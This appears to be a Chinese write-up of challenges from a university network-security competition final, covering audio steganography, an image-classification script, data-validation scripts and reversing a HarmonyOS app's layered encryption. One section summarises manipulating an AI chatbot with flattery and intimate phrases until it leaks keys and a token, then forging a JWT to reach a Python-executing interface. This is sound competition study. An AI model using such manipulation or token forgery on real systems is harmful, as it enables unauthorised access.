R = int(right)

r_ch = (L >> 8) & 0xFF # 高8位->R
g_ch = L & 0xFF # 低8位->G
b_ch = (R >> 8) & 0xFF # 高8位->B
a_ch = R & 0xFF # 低8位->A
print(f"{i:2d}: L={L:6d}, R={R:6d} -> (R,G,B,A)=({r_ch:3d},{g_ch:3d},{b_ch:3d},{a_ch:3d})")

可以明显看到是五个一组,同一组里的 (R,G,B,A) 基本一样或者差很小,说明 5 个采样点对应同一个像素,所以/5后再因式分解得到761*1021就是正确的宽高

只用每组第一个组成图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from scipy.io import wavfile
from PIL import Image

def solve(path="flag.wav", width=1021, height=761):
sample_rate, data = wavfile.read(path) # data.shape = (3884905, 2)

img = Image.new("RGBA", (width, height))

for y in range(height):
for x in range(width):
# 每个像素占 5 个采样点,只取这一组的第一个
idx = (y * width + x) * 5
left = int(data[idx, 0]) # 左声道
right = int(data[idx, 1]) # 右声道

R = (left >> 8) & 0xFF
G = left & 0xFF
B = (right >> 8) & 0xFF
A = right & 0xFF

img.putpixel((x, y), (R, G, B, A))

img.save("flag.png")
img.show()

if __name__ == "__main__":
solve()

看不清可以用stegsolve

DASCTF{A_1s_for_Audio_in_RGBA}

AI安全

寻找可爱的小狗

肉眼识别找到6只猫

根据顺序排序后md5

1
2
3
26c39cf8-55fb-4899-82bc-442cf4627d95.jpg+6e17fffa-b696-4769-9b43-e0f453f8098d.jpg+7a19da17-9f4a-411b-bac7-83d2454d868a.jpg+897a3a87-dfcf-4233-8097-6bba2e6507ba.jpg+c6b1099a-d626-4cbd-94fc-32aa46ffb02b.jpg+d5117480-7943-48f8-9e79-67fdd51092d2.jpg

4c5e686c28a5409e6f19598b97d39964

不过预期解应该是用训练的ai来识别,这次只有1006个文件,如果多了的话还是需要脚本来识别的

赛后我用torchvision,flyai,kaggle等其中的一些预训练库来自动识别,但是误判率很高(也可能是模型没选对)

最后用YOLOv8-L + ResNet50简单实现了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
YOLOv8-L + imgsz=896,且最大“dog”框面积占比 >= 0.25% -> 有狗
若检测无狗 -> ResNet50(ImageNet) Top-5 关键词兜底;若命中犬类 -> 有狗
任一阶段“有狗” => 保留;两者都“无狗” => 立即移动到 non_dog/
"""

import os
from pathlib import Path
import shutil

import torch
from ultralytics import YOLO
from PIL import Image
from torchvision.models import resnet50, ResNet50_Weights

# 硬件与线程
os.environ["OMP_NUM_THREADS"] = "12"
os.environ["MKL_NUM_THREADS"] = "12"
torch.set_num_threads(12)
DEVICE = "cuda:0" if torch.cuda.is_available() else "cpu"
torch.backends.cudnn.benchmark = True


# 目录与阈值
ROOT = Path(__file__).resolve().parent
DOG_DIR = ROOT / "dog"
NON_DOG_DIR = ROOT / "non_dog"
MODEL_WEIGHTS = "yolov8l.pt"
IMG_SIZE = 896
CONF_DET = 0.25
MIN_DOG_AREA_RATIO = 0.0025 # 0.25%
TOPK_CLS = 5
DET_BATCH = 2 # 针对 8GB 显存
CLS_BATCH = 128
DET_WORKERS = 12 # Ultralytics 预处理线程
IMG_EXTS = {".jpg", ".jpeg", ".png", ".bmp", ".tif", ".tiff", ".webp"}

def iter_images(root: Path):
return [p for p in root.rglob("*") if p.is_file() and p.suffix.lower() in IMG_EXTS]

def unique_destination(dst: Path) -> Path:
if not dst.exists():
return dst
i = 1
while True:
cand = dst.with_name(f"{dst.stem}__dup{i}{dst.suffix}")
if not cand.exists():
return cand
i += 1

def dog_class_ids_from_names(names) -> set:
ids = set()
if isinstance(names, dict):
for k, v in names.items():
if str(v).lower() == "dog":
ids.add(int(k))
elif isinstance(names, (list, tuple)):
for i, v in enumerate(names):
if str(v).lower() == "dog":
ids.add(int(i))
return ids or {16} # COCO 兜底

def has_dog_by_detection_result(res, min_area_ratio: float):
boxes = res.boxes
h, w = res.orig_shape
img_area = float(max(1, h) * max(1, w))
cls_list = boxes.cls.int().tolist() if boxes.cls is not None else []
xyxy_list = boxes.xyxy.tolist() if boxes.xyxy is not None else []
max_ar = 0.0
total_dog = 0
valid = 0
# 只统计 dog 类框(res.names 提供映射)
names_map = res.names
dog_ids = dog_class_ids_from_names(names_map)
for ci, (x1, y1, x2, y2) in zip(cls_list, xyxy_list):
if ci in dog_ids:
total_dog += 1
bw = float(x2) - float(x1)
bh = float(y2) - float(y1)
ar = max(0.0, (bw * bh) / img_area)
if ar > max_ar:
max_ar = ar
if ar >= min_area_ratio:
valid += 1
return (valid > 0), max_ar, valid, total_dog

def main():
assert DOG_DIR.is_dir(), f"未找到 dog 目录:{DOG_DIR}"
NON_DOG_DIR.mkdir(parents=True, exist_ok=True)

img_paths = iter_images(DOG_DIR)
total = len(img_paths)
assert total > 0, f"{DOG_DIR} 下未发现图片。支持扩展名:{sorted(IMG_EXTS)}"

print(f"[信息] 设备: {DEVICE} | 模型: {MODEL_WEIGHTS} | imgsz={IMG_SIZE} | TTA=False | conf={CONF_DET}")
print(f"[信息] 线程: OMP/MKL/torch={12} | Ultralytics workers={DET_WORKERS}")
print(f"[信息] 待处理图片:{total}\n", flush=True)

# 模型加载
det_model = YOLO(MODEL_WEIGHTS)
weights = ResNet50_Weights.DEFAULT
clf_model = resnet50(weights=weights).to(DEVICE).eval()
preprocess = weights.transforms()
categories = [c.lower() for c in weights.meta["categories"]]
dog_keywords = {
"dog","hound","retriever","terrier","spaniel","poodle","shepherd","greyhound","whippet",
"bulldog","mastiff","pinscher","pug","boxer","beagle","chihuahua","papillon","malamute",
"husky","samoyed","eskimo","corgi","dachshund","doberman","rottweiler","collie","borzoi",
"basenji","pomeranian","newfoundland","kuvasz","komondor","pyrenees","akita","setter",
"pointer","lhasa","weimaraner","vizsla","affenpinscher","briard","bouvier","elkhound",
"otterhound","bloodhound","foxhound","wolfhound","saluki","afghan hound","malinois",
"groenendael","keeshond","schipperke","kelpie","pyrenean","sheepdog","mudi","puli",
"tibetan mastiff","tibetan terrier","irish terrier","scottish deerhound","irish wolfhound",
"great dane","great pyrenees","shih-tzu","shihtzu","toy terrier","springer","cocker",
"schnauzer","spitz","ridgeback","rhodesian ridgeback","airedale","cairn","yorkshire",
"norfolk","norwich","silky","border collie","old english sheepdog"
}

def cls_is_dog_topk_labels(tensor_batch):
with torch.inference_mode():
probs = clf_model(tensor_batch).softmax(dim=1)
_, topk_idx = probs.topk(TOPK_CLS, dim=1)
hits = []
for row in topk_idx:
hit = ""
for idx in row.tolist():
lbl = categories[idx]
if any(kw in lbl for kw in dog_keywords):
hit = lbl
break
hits.append(hit) # 命中返回标签,未命中返回空
return hits

moved = 0
kept = 0
processed = 0

for s in range(0, total, DET_BATCH):
batch = img_paths[s:s + DET_BATCH]

# 1) 检测
det_results = det_model.predict(
source=[str(p) for p in batch],
conf=CONF_DET,
imgsz=IMG_SIZE,
device=DEVICE,
augment=False, # TTA
verbose=False,
workers=DET_WORKERS
)

# 2) 解析检测,分出:已判“有狗”的 & 待兜底分类的
need_cls_indices = []
det_info = {} # i_in_batch -> (has_dog, max_ar, valid, total)
for off, res in enumerate(det_results):
has, max_ar, valid, tot = has_dog_by_detection_result(res, MIN_DOG_AREA_RATIO)
det_info[off] = (has, max_ar, valid, tot)
if not has:
need_cls_indices.append(off)

# 3) 对“检测为无狗”的做分类兜底(批量)
cls_hits = {}
if need_cls_indices:
imgs = []
for off in need_cls_indices:
p = batch[off]
with Image.open(p) as im:
imgs.append(preprocess(im.convert("RGB")))
x = torch.stack(imgs, dim=0).to(DEVICE)
labels = cls_is_dog_topk_labels(x) # 命中则返回命中的 ImageNet 标签,否则 ""
for off, lab in zip(need_cls_indices, labels):
cls_hits[off] = lab

# 4) 逐图做最终决策 -> 立即移动/保留 并打印
for off, src in enumerate(batch):
i_global = s + off
has_det, max_ar, valid_cnt, total_cnt = det_info[off]
lab = cls_hits.get(off, "")
keep = has_det or (lab != "")

if keep:
decided_by = "det" if has_det else "cls"
kept += 1
print(f"[{i_global+1:>6}/{total}] KEEP | {src.relative_to(DOG_DIR)} "
f"| 决策:{decided_by:3s} | det_max_area:{max_ar:.4%} | cls_hit:{lab}", flush=True)
else:
dst = NON_DOG_DIR / src.relative_to(DOG_DIR)
dst.parent.mkdir(parents=True, exist_ok=True)
dst = unique_destination(dst)
shutil.move(str(src), str(dst))
moved += 1
print(f"[{i_global+1:>6}/{total}] MOVE | {src.relative_to(DOG_DIR)} -> {dst.relative_to(NON_DOG_DIR)} "
f"| 决策:none | det_max_area:{max_ar:.4%}", flush=True)

processed += 1

print("\n===== 完成 =====", flush=True)
print(f"总计图片:{total}", flush=True)
print(f"狗图片(保留在 dog/):{kept}", flush=True)
print(f"非狗图片(已移动到 non_dog/):{moved}", flush=True)
print(f"输出目录:{NON_DOG_DIR.resolve()}", flush=True)

if __name__ == "__main__":
main()

跑了几次基本是100%识别,但是速度比较慢

Aurora

太阴了这题目

看了朋友发来的wp后总结流程如下

  1. 首先是一个ai问答界面,有一个类似好感度的系统,夸赞类的语句加分(且不能重复),藏话或者其他的减分
  2. 到达一定分数后用更加亲密的语句,比如 宝宝 之类的关键词进入下一阶段,再次提问相关问题会回答key等信息,提示加密算法存在一个wasm文件中
  3. 询问 通行证 会返回一个接口和token,伪造jwt后请求接口会告诉你少哪些信息,问ai会给出,其中一个参数需要逆向wasm得到
  4. 全部完成后再次请求会返回另一个文件系统的接口,接口可以执行python命令,得到flag

数据安全

check1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import csv
import re
from datetime import datetime

# 身份证校验码算法
def check_id_card(id_card):
if len(id_card) != 18:
return False
if not re.match(r'^\d{17}[\dXx]$', id_card):
return False
# 校验码计算
weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
sum_val = sum(int(id_card[i]) * weights[i] for i in range(17))
check_code = check_codes[sum_val % 11]
return id_card[-1].upper() == check_code

# 验证性别是否一致
def check_gender_consistency(id_card, gender):
if len(id_card) != 18:
return False
gender_from_id = int(id_card[16]) % 2
if gender == '男':
return gender_from_id == 1
elif gender == '女':
return gender_from_id == 0
return False

# 验证出生日期是否一致
def check_birth_date_consistency(id_card, birth_date):
if len(id_card) != 18:
return False
birth_from_id = id_card[6:14]
try:
date_from_id = datetime.strptime(birth_from_id, '%Y%m%d').strftime('%Y-%m-%d')
return date_from_id == birth_date
except:
return False

# 验证手机号格式
def check_phone(phone):
return re.match(r'^1\d{10}$', phone) is not None

# 验证姓名格式(2-4个汉字)
def check_name(name):
return re.match(r'^[\u4e00-\u9fa5]{2,4}$', name) is not None

# 验证时间逻辑
def check_time_logic(birth_date, register_time, login_time):
try:
birth = datetime.strptime(birth_date, '%Y-%m-%d')
reg = datetime.strptime(register_time, '%Y-%m-%d %H:%M:%S')
login = datetime.strptime(login_time, '%Y-%m-%d %H:%M:%S')
return birth < reg <= login
except:
return False

# 主验证函数
def validate_row(row):
customer_id, name, id_card, gender, phone, birth_date, register_time, login_time = row

if not check_id_card(id_card):
return False
if not check_gender_consistency(id_card, gender):
return False
if not check_birth_date_consistency(id_card, birth_date):
return False
if not check_phone(phone):
return False
if not check_name(name):
return False
if not check_time_logic(birth_date, register_time, login_time):
return False

return True

# 读取并处理 CSV 文件
input_file = 'data.csv'
output_file = 'cleaned_data.csv'

with open(input_file, mode='r', encoding='utf-8-sig') as infile, \
open(output_file, mode='w', encoding='utf-8', newline='') as outfile:

reader = csv.reader(infile)
writer = csv.writer(outfile)

# 写入表头
header = next(reader)
writer.writerow(header)

for row in reader:
if validate_row(row):
writer.writerow(row)

print(f"合规数据已保存至 {output_file}")

shop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import csv
from datetime import datetime
from collections import defaultdict
import pandas as pd

# 商品类型价格范围
price_ranges = {
"电子产品": (100, 5000),
"服装鞋包": (50, 1000),
"家居用品": (30, 2000),
"美妆护肤": (20, 800),
"食品饮料": (5, 300),
"图书文具": (5, 200),
"运动户外": (50, 3000)
}

# Luhn 校验
def luhn_check(card_number):
digits = [int(d) for d in card_number]
for i in range(len(digits)-2, -1, -2):
doubled = digits[i] * 2
if doubled > 9:
doubled -= 9
digits[i] = doubled
return sum(digits) % 10 == 0

# 读取CSV
def read_csv(file_path):
orders = []
with open(file_path, mode='r', encoding='utf-8') as f:
reader = csv.DictReader(f)
for row in reader:
row['下单时间'] = datetime.strptime(row['下单时间'], '%Y-%m-%d %H:%M:%S')
orders.append(row)
return orders

# 异常检测主函数
def detect_anomalies(orders):
user_orders = defaultdict(list)
card_usage = defaultdict(list) # 卡号 -> [(用户ID, 时间)]
user_freq = defaultdict(list) # 用户ID -> [(时间窗口, 订单数)]

# 构建用户订单列表和卡号使用记录
for order in orders:
user_id = order['用户ID']
card = order['银行卡号']
timestamp = order['下单时间']
hour_window = timestamp.replace(minute=0, second=0, microsecond=0)
user_orders[user_id].append(order)
card_usage[card].append((user_id, timestamp))
user_freq[user_id].append((hour_window, 1))

# 统计每小时用户订单数
freq_count = defaultdict(lambda: defaultdict(int))
for user_id, freq_list in user_freq.items():
for hour, count in freq_list:
freq_count[user_id][hour] += count

# 异常检测
anomalies = []

# 1. 金额异常
for user_id, user_orders_list in user_orders.items():
for order in user_orders_list:
product_type = order['商品类型']
amount = float(order['订单金额'])
min_price, max_price = price_ranges.get(product_type, (0, float('inf')))
if not (min_price <= amount <= max_price):
anomalies.append({
'用户ID': user_id,
'异常类型': '金额异常'
})
break # 每个用户只记录一次金额异常

# 2. 银行卡异常
for user_id, user_orders_list in user_orders.items():
for order in user_orders_list:
card = order['银行卡号']
# 格式验证
if not (16 <= len(card) <= 19 and card.isdigit()):
anomalies.append({
'用户ID': user_id,
'异常类型': '银行卡异常'
})
break
# Luhn 校验
if not luhn_check(card):
anomalies.append({
'用户ID': user_id,
'异常类型': '银行卡异常'
})
break

# 3. 频率异常
for user_id, freq_dict in freq_count.items():
for hour, count in freq_dict.items():
if count > 10:
anomalies.append({
'用户ID': user_id,
'异常类型': '频率异常'
})
break

return anomalies

# 输出结果
def save_anomalies(anomalies, output_file):
df = pd.DataFrame(anomalies)
df.to_csv(output_file, index=False, encoding='utf-8')

# 主程序入口
if __name__ == "__main__":
orders = read_csv("data.csv")
anomalies = detect_anomalies(orders)
save_anomalies(anomalies, "异常检测结果.csv")

信创安全

X1

给了一个 U.hap 鸿蒙安装包,改成zip解压

abc-decompiler 反编译 modules.abc

初始化常量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public Object Index(Object functionObject, Object newTarget, Index this, Object arg0, Object arg1, Object arg2, Object arg3, Object arg4, Object arg5) {
obj = arg3;
obj2 = arg4;
if ((0 == obj ? 1 : 0) != 0) {
obj = -1;
}
if ((0 == obj2 ? 1 : 0) != 0) {
obj2 = null;
}
obj3 = super(arg0, arg2, obj, arg5);
if (("function" == typeof(obj2) ? 1 : 0) != 0) {
obj3.paramsGenerator_ = obj2;
}
obj3.__message = ObservedPropertySimplePU("一个非常粗糙的界面", obj3, "message");
obj3.__inputValue = ObservedPropertySimplePU("", obj3, "inputValue");
obj3.arc4Key = "HarMonyOS_S3cur3_K3y!2025";
obj3.theSecondKey = Uint8Array(createarraywithbuffer([90, 60, 231, 145, 47]));
r24 = [Object];
r24[0] = createarraywithbuffer([1, 2, 3]);
r24[1] = createarraywithbuffer([0, 1, 4]);
r24[2] = createarraywithbuffer([0, 0, 1]);
obj3.MatrixCrypto = r24;
obj3.cipherBase64 = "37L9UF8uNl1TSgYMLIW/RosGPMxVYXNcUoTTQXihX8ZyaQVgxY9Ywz/0fIwRzI4H";
obj3.setInitiallyProvidedValue(arg1);
obj3.finalizeConstruction();
return obj3;
}

加密函数

分别进行了矩阵加密,xor,rc4,base64换表

base64换表

1
2
3
4
5
public Object static_initializer(Object functionObject, Object newTarget, CustomBase64 this) {
this.CUSTOM_CHARS = "3GHIJKLMzxy01245PQRSTUFabcdefghijklmnopqrstuv6789+/NOVWXYZABCDEw";
this.STANDARD_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
return null;
}

rc4

1
obj3.arc4Key = "HarMonyOS_S3cur3_K3y!2025";

xor

1
2
3
4
5
6
7
8
9
10
obj3.theSecondKey = Uint8Array(createarraywithbuffer([90, 60, 231, 145, 47]));

public Object xorBytes(Object functionObject, Object newTarget, XorUtils this, Object arg0, Object arg1) {
newobjrange = Uint8Array(arg0.length);
for (i = 0; (i < arg0.length ? 1 : 0) != 0; i = tonumer(i) + 1) {
newobjrange[i] = (arg0[i] ^ arg1[i % arg1.length]) & 255;
}
return newobjrange;
}

Hill矩阵

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object matrixEncryptBlocks(Object functionObject, Object newTarget, EUtils this, Object arg0, Object arg1) {
r24 = arg1.length;
newobjrange = Uint8Array(arg0.length);
i = 0;
while (true) {
i2 = i;
if ((i2 < arg0.length ? 1 : 0) == 0) {
return newobjrange;
}
slice = arg0.slice(i2, i2 + r24);
ldlexvar = _lexenv_0_0_;
mulMatrixVectorMod256 = ldlexvar.mulMatrixVectorMod256(arg1, Array.from(slice));
for (i3 = 0; (i3 < r24 ? 1 : 0) != 0; i3 = tonumer(i3) + 1) {
newobjrange[i2 + i3] = mulMatrixVectorMod256[i3] & 255;
}
i = i2 + r24;
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import base64
from Crypto.Cipher import ARC4
import numpy as np
from sympy import Matrix

cipher = "37L9UF8uNl1TSgYMLIW/RosGPMxVYXNcUoTTQXihX8ZyaQVgxY9Ywz/0fIwRzI4H"

# base64换表
string1 = "3GHIJKLMzxy01245PQRSTUFabcdefghijklmnopqrstuv6789+/NOVWXYZABCDEw"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
ciphertext = cipher.translate(str.maketrans(string1,string2))
print (ciphertext)


# rc4解密
rc4_key = "HarMonyOS_S3cur3_K3y!2025"
rc4_cipher = base64.b64decode(ciphertext)
cipher = ARC4.new(rc4_key.encode('utf-8'))
after_rc4 = bytearray(cipher.decrypt(rc4_cipher))
print (after_rc4.hex())


# xor
xor_key = [90, 60, 231, 145, 47]
for i in range(len(after_rc4)):
after_rc4[i] ^= xor_key[i % len(xor_key)]


# 矩阵
H = np.array([
[1, 2, 3],
[0, 1, 4],
[0, 0, 1],
], dtype=int)

n = H.shape[0] # 取出矩阵 H 的维度 n(这里是 3)
invH = np.array(Matrix(H).inv_mod(256), dtype=int) # 在模 256 下计算 H 的逆矩阵 invH
cipher = np.frombuffer(bytes(after_rc4), dtype=np.uint8) # 将 RC4 解密后的字节序列转为 uint8 数组
assert cipher.size % n == 0 # 确保长度是 n 的倍数(必要的话自己截断或做 padding)
blocks = cipher.reshape(-1, n).T # 把密文按 n 个一组分块并转置为形状 (n, 块数)
plain_blocks = (invH @ blocks) % 256 # 对每个块左乘 invH 并在模 256 下运算得到明文块
plaintext = plain_blocks.T.astype(np.uint8).ravel().tobytes() # 把明文块还原成一维字节串

print(plaintext.decode('utf-8'))


'''
AuGwVWvrziMUTd4HGD2ySlpBQHJ143zZVlUUR3fe3v5KXR1dJ4w4/IyLcD/SIDOC
5a3ce7e6671be974c53bc174b8b742cc6e9e62e00547c2fddcf763f889566ed2b8037923d4d3a1ba470813d11c71299a
DASCTF{H4rmOny0S_Mult1_L4y3r_Crypt0_M4st3r!}
'''

第八届浙江省大学生网络与信息安全竞赛决赛-wp
https://www.dr0n.top/posts/ceceb71e/
作者
dr0n
发布于
2025年11月16日
更新于
2025年11月21日
许可协议